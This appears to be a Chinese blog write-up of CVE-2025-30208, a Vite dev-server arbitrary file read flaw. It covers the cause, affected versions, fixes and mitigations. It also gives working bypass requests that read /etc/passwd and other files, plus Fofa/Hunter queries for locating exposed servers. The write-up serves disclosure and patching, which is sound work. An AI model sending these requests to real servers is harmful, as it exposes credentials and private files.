当前位置: 首页 > article >正文

【CVE-2025-30208】| Vite-漏洞分析与复现

漏洞简介

CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd 或 C:\windows\win.ini)。

该漏洞主要影响以下版本的 Vite:

  • 6.2.3 之前
  • 6.1.2 之前
  • 6.0.12 之前
  • 5.4.15 之前
  • 4.5.10 之前

漏洞原理

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw?? 或 ?import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

影响范围

此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序,即使用 --host 或 server.host 配置选项的情况。

详细分析

在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问,例如:

server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:

GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

漏洞利用

Fofa & Hunter 搜索

攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:

Fofa:
body="/@vite/client"

Hunter:
web.body="/@vite/client"

PoC(概念验证)

  1. 启动 Vite 服务器:

    $ npm create vite@latest
    $ cd vite-project/
    $ npm install
    $ npm run dev
    
  2. 创建测试文件:

    $ echo "top secret content" > /tmp/secret.txt
    
  3. 发送漏洞利用请求:

    # 正常情况下被拒绝
    $ curl "http://localhost:5173/@fs/tmp/secret.txt"
    
    # 绕过访问控制
    $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
    export default "top secret content\n"
    

漏洞验证

GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********

也可使用 Nuclei 进行自动化漏洞检测,以下是对应的 YAML 规则:

nuclei-验证脚本通过网盘分享的文件:CVE-2025-30208.yaml链接: https://pan.baidu.com/s/16hSpH7szUbjidG-5v9xrTw?pwd=i2hx 提取码: i2hx

修复方案

Vite 官方已在以下版本修复了该漏洞:

  • 6.2.3
  • 6.1.2
  • 6.0.12
  • 5.4.15
  • 4.5.10

版本更新

建议受影响的用户升级到最新版本,或至少升级至修复版本。

临时缓解方案

如果无法立即升级,可以采取以下措施降低风险:

  1. 限制对 Vite 开发服务器的访问

    • 仅允许本地访问,不对外开放。
    • 通过 firewall 或 nginx 进行访问控制。
  2. 使用 server.fs.deny 选项显式禁止访问敏感文件

    server: {
      fs: {
        deny: ["/etc/passwd", "/windows/win.ini"]
      }
    }
    
  3. 启用身份验证

    • 通过 HTTP Basic Auth 或 JWT 保护开发服务器。

免责声明  

本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!    


http://www.kler.cn/a/613043.html

相关文章:

  • 自动化构建攻略:Jenkins + Gitee 实现 Spring Boot 项目自动化构建
  • ICLR 2025|华科OVTR:首次实现端到端开放词汇多目标跟踪,刷新性能SOTA!
  • 寻找两个正序数组的中位数
  • 启山智软实现b2c单商户商城对比传统单商户的优势在哪里?
  • 多省发布!第27届中国机器人及人工智能大赛各赛区比赛通知
  • 怎么在一台服务器上配置两套不同的前后端分离系统
  • 安装Webpack并创建vue项目
  • QT_demo1_calculator
  • 跨境TRS投资操作指南与系统解决方案
  • 关于bug总结记录
  • Java 中各种锁的使用详解
  • Node.js 如何发布一个 NPM 包——详细教程
  • 第R9周:阿尔兹海默症诊断(优化特征选择版)
  • 美摄科技智能汽车车内实时AR特效方案,让出行充满乐趣
  • 神经网络知识
  • 【极速版 -- 大模型入门到进阶】LORA:大模型轻量级微调
  • 智能网联交通加速落地,光路科技TSN技术助推车路云一体化发展
  • 跟着尚硅谷学vue-day1
  • LeetCode 1492 n的第K个因子
  • 浅谈工商企业用电管理的分布式储能设计